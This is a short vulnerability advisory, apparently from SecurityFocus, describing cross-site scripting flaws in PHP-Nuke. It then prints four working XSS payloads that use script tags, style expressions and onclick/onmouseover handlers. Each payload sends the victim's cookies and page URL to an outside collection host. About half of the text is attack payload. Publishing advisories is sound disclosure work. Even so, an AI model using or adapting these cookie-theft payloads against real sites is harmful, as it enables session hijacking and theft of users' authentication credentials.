source: https://www.securityfocus.com/bid/6244/info everal cross site scripting vulnerabilities have been reported for PHP-Nuke. An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the web-based forum. Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. <SCRIPT>location.href="http://www.techie.hopto.org/fetch.php? email=mattmurphy@kc.rr.com&ref="+document.URL+"cookie="+document.cookie; <B STYLE="left:expression(eval('location.href=\'http://www.techie.hopto.org/ fetch.php?email=mattmurphy@kc.rr.com&ref=\'+document.URL+\'cookie=\'+ document.cookie'))">Bold text -- or an attack?</B> <B ONCLICK="location.href='http://www.techie.hopto.org/fetch.php? email=mattmurphy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie"> Don't Click</B> <B ONMOUSEOVER="location.href='http://www.techie.hopto.org/fetch.php? email=mattmurphy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">Keep Away!</B>